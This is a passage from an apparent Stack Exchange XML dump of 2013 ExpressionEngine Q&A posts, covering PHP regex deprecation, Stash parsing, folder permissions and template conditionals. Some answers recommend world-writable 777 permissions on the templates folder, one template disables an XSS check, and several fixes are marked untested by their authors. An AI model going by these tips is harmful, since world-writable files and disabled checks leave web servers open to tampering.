Prevention'}&#xA;                &amp;lt;div class=&quot;label red&quot;&amp;gt;&#xA;                    &amp;lt;span&amp;gt;Suicide Prevention&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {if:else}&#xA;                &amp;lt;div class=&quot;label green&quot;&amp;gt;&#xA;                    &amp;lt;span&amp;gt;Bereavement Support&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;                                          &#xA;                {/if}&#xA;                &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;                {if resources_role}&amp;lt;p class=&quot;role&quot;&amp;gt;{resources_role}&amp;lt;/p&amp;gt;{/if}&#xA;                {if resources_address}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Address: &amp;lt;/strong&amp;gt;{resources_address}&amp;lt;/p&amp;gt;&#xA;                {if resources_phone}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Tel: &amp;lt;/strong&amp;gt;{resources_phone}&amp;lt;/p&amp;gt;&#xA;                {if resources_email}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Email: &amp;lt;a href=&quot;mailto:{resources_email}&quot;&amp;gt;{resources_email}&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                {if resources_info}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Additional Information: &amp;lt;/strong&amp;gt;{resources_info}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {if no_results}&#xA;                &amp;lt;h3&amp;gt;There are currently no resources available in this county.&amp;lt;/h3&amp;gt;&#xA;            {/if}&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="687" LastActivityDate="2014-04-05T18:47:41.903" Title="A to Z style category listing + results" Tags="|categories|freebie|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17483" PostTypeId="2" ParentId="17224" CreationDate="2013-12-06T11:54:46.963" Score="6" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.php.net/preg_replace&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/preg_replace&lt;/a&gt; , the /e modifier was removed in PHP 5.5.0 . If you downgrade PHP to pre-5.5.0, then the error will go away. Alternatively, in your config.php file set error_reporting(E_ALL ^ E_DEPRECATED); to hide deprecated warnings.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, upgrade Textile - but it looks like &lt;a href=&quot;http://devot-ee.com/add-ons/textile-editor-helper-teh&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/textile-editor-helper-teh&lt;/a&gt; hasn't been upgraded in some time.&lt;/p&gt;&#xA;&lt;p&gt;=== Added after you posted the code ==&lt;/p&gt;&#xA;&lt;p&gt;Try changing&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function footnoteRef($text)&#xA;{&#xA;    return preg_replace('/(?&amp;lt;=\S)\[([0-9]+)\](\s)?/Ue',&#xA;        '$this-&amp;gt;footnoteID(\'\1\',\'\2\')', $text);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to (untested)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function footnoteRef($text)&#xA;{&#xA;    return preg_replace_callback('/(?&amp;lt;=\S)\[([0-9]+)\](\s)?/U',&#xA;function ($matches) {&#xA;            return $this-&amp;gt;footnoteID($matches[1],$matches[2]);&#xA;        },&#xA;         $text);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2459" LastEditorUserId="-1" LastEditDate="2023-11-17T20:24:57.980" LastActivityDate="2013-12-06T11:54:46.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17484" PostTypeId="2" ParentId="17224" CreationDate="2013-12-06T11:57:56.027" Score="0" Body="&lt;p&gt;So, if you remove everything from the function as it is and replace it with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;preg_replace_callback('/(?&amp;lt;=\S)\[([0-9]+)\](\s)?/U',&#xA;                   create_function('$matches','return $this-&amp;gt;footnoteID($matches[1],$matches[2])'), $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is totally untested, but I &lt;em&gt;think&lt;/em&gt; it's right. No doubt if it's not, someone will chime in - Regular Expressions are not my forte.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-12-06T11:57:56.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17485" PostTypeId="1" AcceptedAnswerId="17488" CreationDate="2013-12-06T12:56:44.277" Score="1" ViewCount="219" Body="&lt;p&gt;Im pretty sure the problem here is the parse order, but I'm struggling to figure out where the issue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page with the following on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;market_ids&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:query sql=&quot;select GROUP_CONCAT(entry_id SEPARATOR '|') as market_ids from exp_channel_data where channel_id=3 AND field_id_12 LIKE CONCAT('%', DAYNAME(from_unixtime({exp:stash:delivery_day})), '%')&quot; parse=&quot;inward&quot;}&#xA;    {market_ids}&#xA;{/exp:query}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then further on in the page I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results limit=&quot;{exp:stash:paging default='12' type='snippet'}&quot; channel=&quot;products&quot; status=&quot;not closed&quot; child:cf_product_market=&quot;{exp:stash:market_ids}&quot; child:cf_product_delivery_zone=&quot;{fn_zone_id}&quot; paginate=&quot;bottom&quot;}&#xA;....&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Paging stash entry is set on another page with scope=&quot;site&quot; and type=&quot;snippet&quot; and that works fine, however the {exp:stash:market_ids} is just not being recognised in the tag. I've output the value to the page and its definitely got data in the entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding parse=&quot;inward&quot; to the {exp:low_search:results} tag, but that doesn't appear to make any difference either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something else that I need to do to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-12-06T15:52:10.883" Title="Stash Parse Order Issues" Tags="|stash|low-search|parse-order|parse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17486" PostTypeId="2" ParentId="17147" CreationDate="2013-12-06T13:02:35.773" Score="1" Body="&lt;p&gt;Ok, this has been resolved now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that the cause of the problem was an index.html holding page not allowing the redirection to take place. A simple fix in the end (remove the html file), which would have been easier to spot with the transaction log data from WorldPay that they failed to send after numerous requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, hopefully this answer will help anyone else with a similar issue in the future!&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2013-12-06T13:02:35.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17487" PostTypeId="2" ParentId="17485" CreationDate="2013-12-06T13:17:31.410" Score="1" Body="&lt;p&gt;Is the stash {exp:stash:market_ids} rendering outside of your low_search? Thats probably a good place to start. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also try putting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;market_ids&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:query sql=&quot;select GROUP_CONCAT(entry_id SEPARATOR '|') as market_ids from exp_channel_data where channel_id=3 AND field_id_12 LIKE CONCAT('%', DAYNAME(from_unixtime({exp:stash:delivery_day})), '%')&quot; parse=&quot;inward&quot;}&#xA;    {market_ids}&#xA;{/exp:query}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In an embedded file and retrieving it with a process='start'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:embed:folder:file_name process=&quot;start&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope thats helpful, not completely convinced. Parsing can be confusing.&lt;/p&gt;&#xA;" OwnerUserId="2031" LastEditorUserId="1326" LastEditDate="2013-12-06T15:52:10.883" LastActivityDate="2013-12-06T15:52:10.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17488" PostTypeId="2" ParentId="17485" CreationDate="2013-12-06T13:23:15.040" Score="2" Body="&lt;p&gt;OK, So I had to wrap the entire call in a {exp:stash:parse process='end'} tag and then call the values with just {stash:market_ids}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now seems to be working.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-12-06T13:23:15.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17489" PostTypeId="1" CreationDate="2013-12-06T13:25:27.787" Score="1" ViewCount="203" Body="&lt;p&gt;I'm trying to use if logged_id &amp;amp; auther_id=&quot;CURRENT_USER&quot; to load a specific entry back to users. However I'm seeing mixed results. I'm using EE 2.5.2 and Safecracker and have had success with this, however I have also had have had about 1/2 of the people who have resubmitted end up with new entries vs. updating the entry already stored. The first line of code is what I'm using to check to see if a user has already submitted a entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_id}&amp;lt;a href=&quot;/template-group/template/{exp:channel:entries channel=&quot;my_channel_name&quot; author_id=&quot;CURRENT_USER&quot; status=&quot;open&quot; dynamic=&quot;no&quot;}{username}/{/exp:channel:entries}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line of code is the start of the template, which should display the past entry if a user has submitted one. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;{exp:safecracker channel=&quot;my_channel_name&quot; id=&quot;my_channel_name&quot; return=&quot;/&quot; url_title=&quot;{segment_3}&quot; author_only=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help in figuring out what is causing this would be greatly appreciated, Thank you!&lt;/p&gt;&#xA;" OwnerUserId="729" LastEditorUserId="729" LastEditDate="2013-12-06T14:28:42.840" LastActivityDate="2013-12-08T14:35:06.133" Title="Using if logged_id &amp; auther_id=&quot;CURRENT_USER&quot; creating scattered results" Tags="|safecracker|conditionals|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17490" PostTypeId="2" ParentId="17482" CreationDate="2013-12-06T14:00:45.320" Score="1" Body="&lt;p&gt;With &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;wgcode_categories&lt;/a&gt;, you can add an orderby=&quot;cat_name&quot; parameter.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2013-12-06T14:00:45.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17491" PostTypeId="1" CreationDate="2013-12-06T15:49:12.853" Score="1" ViewCount="221" Body="&lt;p&gt;I'm using assets 1.1.4 on a 2.5.3 EE install (Sorry but i cannot update now for any reason)&#xA;When I create a folder in assets this folder is written as apache:apache with this permissions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;drwxr-xr-x -&gt; 755&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this right???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask this because this creates me big problems when i try to reconcile files using git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&#xA;Francesco&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2014-04-05T22:47:45.837" Title="Why Assets writes folder with 755 write permission" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17492" PostTypeId="2" ParentId="17472" CreationDate="2013-12-06T15:49:58.800" Score="2" Body="&lt;p&gt;Though this probably has nothing to do with how Builtwith detects ExpressionEngine...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to tell a site is running EE, as Derek pointed out in &lt;a href=&quot;https://stackoverflow.com/a/7446695/780434&quot;&gt;his answer&lt;/a&gt; to a similar question on Stack Overflow, is to look for hidden &lt;code&gt;ACT&lt;/code&gt; and &lt;code&gt;XID&lt;/code&gt; input fields in forms generated by EE modules. Anywhere a form is generated by an EE module (Search, Freeform, CartThrob, or Store, for example) you'll see something like this in the source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;960dc9c6e426be168876f03e5c54c391fcf44ec6&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;40&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-12-09T16:12:32.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17493" PostTypeId="2" ParentId="17461" CreationDate="2013-12-06T16:11:31.630" Score="1" Body="&lt;p&gt;Here are the steps to take to ensure you are setup to save templates as files:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the file permissions of the templates folder and all the contents inside of it. They need to be set to 777 &lt;a href=&quot;http://support.apple.com/kb/PH13799&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is a link to help Mac users&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your Global Template Preferences are set correctly. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Step three of the linked documentation will help you for this.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check your server path to site's templates. Try adding a forward slash to the end (that has fixed it for several people).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since I was using MAMP Pro my expressionengine was saved on my local device and my site path was not complete. For my sitepath I had: &lt;code&gt;/Documents/ExpressionEngine/unimin/expressionengine/templates&lt;/code&gt; -- which should have been &lt;code&gt;/users/matthew/Documents/ExpressionEngine/unimin/expressionengine/templates&lt;/code&gt; and that fixed it for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also here are some other resources that might help you:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/92056/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Resource 1&lt;/a&gt; &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7409/unable-to-save-your-template-as-a-text-file&quot;&gt;Resource 2&lt;/a&gt; &lt;a href=&quot;http://ellislab.com/forums/viewthread/158106/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Resource 3&lt;/a&gt;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12138/my-template-files-are-not-in-system-expressionengine-templates-how-can-i-fi&quot;&gt;Resource 4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And of course make sure you read the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExpressionEngine Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2388" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-12-06T16:11:31.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17494" PostTypeId="1" AcceptedAnswerId="18462" CreationDate="2013-12-06T16:11:48.817" Score="0" ViewCount="61" Body="&lt;p&gt;&lt;strong&gt;Quick run down of the site:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.6.1&lt;/li&gt;&#xA;&lt;li&gt;Media Temple Grid Service&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since we moved the site to their production server, we've noticed that we will randomly receive a page that is missing any formatting and has only bracketed information. For example, when we update a template we will sometimes get this whether or not we use &quot;Update&quot; or &quot;Update and Finished&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;message_success&quot;:&quot;Template Has Been Updated&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we update a channel entry and use &quot;Update and Finished&quot; the system will return a bracketed list of entries within the channel but no admin. The only way to get around the issue I have found is to strip everything after the ?S= key so I can use the admin. If I don't, when I try to log in or go to the admin login page I just get this returned on the page with nothing else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C=login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is important to note that the only EE developer that we had was let go and I have little-to-no experience managing an EE site beyond basic templating and the like so any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2460" LastActivityDate="2014-01-16T19:59:30.690" Title="Getting random, unformatted page on Template/Channel Entry Edit" Tags="|ee2|templates|admin|system|administration|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-31T09:40:19.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="17496" PostTypeId="2" ParentId="17456" CreationDate="2013-12-06T16:35:14.460" Score="1" Body="&lt;p&gt;I looked and saw a pale horse whose rider's name was FastCGI, and all of hell followed him.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-12-12T00:30:58.050" LastActivityDate="2013-12-12T00:30:58.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17497" PostTypeId="1" CreationDate="2013-12-06T18:12:06.120" Score="0" ViewCount="95" Body="&lt;p&gt;I am having trouble finding a way to get the next entry from an article. With the way that my URI is set up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have the URL http ://www.&lt;em&gt;*&lt;/em&gt;.com/learn/[channel]/[url_title]. I use the exp:channel:entries tag with the channel parameter set to segment_2 and the url_title parameter set to segment_3(I understand that segment_2 is not really needed to get the results I am after). This displays the article I requested. However, the exp:next_entry tag will not work unless the actual channel is in segment_1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried other plugins such as &lt;a href=&quot;http://devot-ee.com/add-ons/advanced-prev-next-entry&quot; rel=&quot;nofollow&quot;&gt;Advanced Prev Next Entry&lt;/a&gt;, but I have requirements that these don't meet, such as compatibility with Channel Images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ultimate goal is to be able to reproduce an experience &lt;a href=&quot;http://tympanus.net/codrops/2013/10/30/medium-style-page-transition/?codekitCB=408043078.038843&quot; rel=&quot;nofollow&quot;&gt;like this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on how to find the next entry would be fantastic.&lt;/p&gt;&#xA;" OwnerUserId="972" LastActivityDate="2013-12-06T23:15:56.580" Title="Next Entry with only the url_title" Tags="|channel-images|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17498" PostTypeId="1" CreationDate="2013-12-06T18:23:42.177" Score="1" ViewCount="59" Body="&lt;p&gt;When exporting Freeform entries, I get a plethora of &quot;special characters&quot; making the data almost unusable. (I run an international association and so have more actual special characters than most. Example: acadÃ©mica a presentar tanto aportes teÃ³rico-analÃ­ticos ) Is there a way to export data with the text formatting intact?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2462" LastActivityDate="2014-02-16T23:35:21.393" Title="Text formatting in exported Freefrom entries" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17500" PostTypeId="2" ParentId="17491" CreationDate="2013-12-06T20:21:40.053" Score="1" Body="&lt;p&gt;You are probably not using a git pull as the apache user, so you're getting issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 755 -- means only the apache user is allowed to write to that directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix it, either use sudo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u apache git pull &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or change the permissions to the correct owner and then reverting it back to apache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or change the permissions so everyone can write (777) and then reverting it back to 755.&lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2013-12-06T20:21:40.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17501" PostTypeId="1" AcceptedAnswerId="17585" CreationDate="2013-12-06T22:43:57.340" Score="3" ViewCount="107" Body="&lt;p&gt;Can’t seem to find out how this is possible, but is there a way to compare and see differences between 2 stash set_list arrays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;location_list&quot; parse_tags=&quot;yes&quot;}&#xA; {exp:structure_entries depth=&quot;999&quot; parent=&quot;8&quot;}&#xA;  {stash:item_title}{title}{/stash:item_title}&#xA;  {stash:item_id}{entry_id}{/stash:item_id}&#xA; {/exp:structure_entries}&#xA;{/exp:stash:set_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;checked_locations&quot; parse_tags=&quot;yes&quot;}&#xA; {exp:channel:entries channel=&quot;checkins&quot; author_id=&quot;{logged_in_member_id}&quot; dynamic=&quot;no&quot; }&#xA;  {stash:item_title}{title}{/stash:item_title}&#xA;  {stash:item_id}{entries_location}{entry_id}{/entries_location}{/stash:item_id}&#xA; {/exp:channel:entries}&#xA;{/exp:stash:set_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above, item_id returns the entry_id of a Playa field. So, would it be possible to compare these 2 lists and only output the ones that don’t have a match? It’s to create a drop down of the entries that don’t have an existing Playa relationship.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2013-12-10T13:30:31.647" Title="Stash &amp; EE - compare 2 lists?" Tags="|playa|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17502" PostTypeId="2" ParentId="16754" CreationDate="2013-12-06T22:48:11.107" Score="1" Body="&lt;p&gt;Ended up solving this with a combo of Switchee and Stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;stash:secure&quot; parse=&quot;inward&quot;}&#xA;      {case value=&quot;y&quot;}&#xA;        {exp:dm_force_ssl:force}&#xA;      {/case}&#xA;      {case value=&quot;&quot;}&#xA;         {exp:dm_force_ssl:unforce}&#xA;      {/case}&#xA;{/exp:switchee} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since Stash was used to set the &quot;secure&quot; variable, and Switchee is Stash-aware, you can just use the variable within Switchee. &lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2013-12-06T22:48:11.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17503" PostTypeId="1" AcceptedAnswerId="17589" CreationDate="2013-12-06T22:49:15.820" Score="1" ViewCount="120" Body="&lt;p&gt;Carriage returns (ctrl-enter or coded br tags) work fine in paragraphs but they're not saving in the middle of a h1 heading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else encountered this or am I taking crazy pills?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Amanda&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-02-08T20:54:43.187" Title="Rich text editor - losing carriage returns in headings" Tags="|richtext|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17504" PostTypeId="2" ParentId="17497" CreationDate="2013-12-06T23:15:56.580" Score="1" Body="&lt;p&gt;Have you tried the built in Pagination? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;article&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot; }&#xA;    {title}&#xA;{article_details..etc}&#xA;    {paginate}&#xA;        {if next_page}&#xA;            Next Page&#xA;        {/if}&#xA;    {/paginate}&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2013-12-06T23:15:56.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17505" PostTypeId="2" ParentId="16974" CreationDate="2013-12-06T23:29:03.593" Score="-1" Body="&lt;p&gt;Is this not a simple issue with using .html and not .php?&#xA;If you create the 404 group page as 404.group/index.php see what you get when you throw in a random url.&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2013-12-06T23:29:03.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17506" PostTypeId="1" CreationDate="2013-12-06T23:29:23.550" Score="1" ViewCount="62" Body="&lt;p&gt;Using EE v2.4 and Matrix v2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to check if the matrix '{article_images}' rows are != '0'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if article_images}   &#xA; &amp;lt;div class=&quot;left article_image  hide-for-small&quot;&amp;gt;&#xA;  &amp;lt;ul data-orbit&amp;gt;&#xA;    {article_images}&#xA;      {exp:ce_img:pair disable_xss_check=&quot;yes&quot; src=&quot;{image_matrix_image}&quot; width=&quot;500&quot; quality=&quot;80&quot; allow_scale_larger=&quot;yes&quot;} &#xA;       &amp;lt;li&amp;gt;&#xA;         &amp;lt;img src=&quot;{image_matrix_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;         &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;           &amp;lt;p&amp;gt;{image_matrix_cutline}{if image_matrix_byline}&amp;lt;em&amp;gt;  ({image_matrix_byline})&amp;lt;/em&amp;gt;{/if}&amp;lt;/p&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;      {/exp:ce_img:pair} &#xA;    {/article_images}&#xA; &amp;lt;/ul&amp;gt;  &#xA;&amp;lt;/div&amp;gt;  &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'{article_images}' never evaluates to false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if article_images}   &#xA; {article_images}&#xA; {if '{image_matrix_image}' != '0'}&#xA; &amp;lt;div class=&quot;left article_image  hide-for-small&quot;&amp;gt;&#xA;  &amp;lt;ul data-orbit&amp;gt;&#xA;      {exp:ce_img:pair disable_xss_check=&quot;yes&quot; src=&quot;{image_matrix_image}&quot; width=&quot;500&quot; quality=&quot;80&quot; allow_scale_larger=&quot;yes&quot;} &#xA;       &amp;lt;li&amp;gt;&#xA;         &amp;lt;img src=&quot;{image_matrix_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;         &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;           &amp;lt;p&amp;gt;{image_matrix_cutline}{if image_matrix_byline}&amp;lt;em&amp;gt;  ({image_matrix_byline})&amp;lt;/em&amp;gt;{/if}&amp;lt;/p&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;      {/exp:ce_img:pair} &#xA; &amp;lt;/ul&amp;gt;  &#xA;&amp;lt;/div&amp;gt;  &#xA;{/if}&#xA;{/article_images}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works as desired but means that the div containing the orbit plugin is displayed within the loop for as many images as exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to check the number of rows in the matrix prior to entering '{article_images}'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input.&lt;/p&gt;&#xA;" OwnerUserId="2456" LastEditorUserId="2456" LastEditDate="2013-12-06T23:40:24.807" LastActivityDate="2014-04-06T02:47:51.103" Title="Check for boolean return from Channel Field of type 'matrix'" Tags="|matrix|add-on|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17507" PostTypeId="2" ParentId="17506" CreationDate="2013-12-07T00:01:36.937" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;:total_rows&lt;/code&gt; tag in a conditional like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if article_images:total_rows &amp;gt; 0}&#xA;&#xA;    // other code here&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-07T00:01:36.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
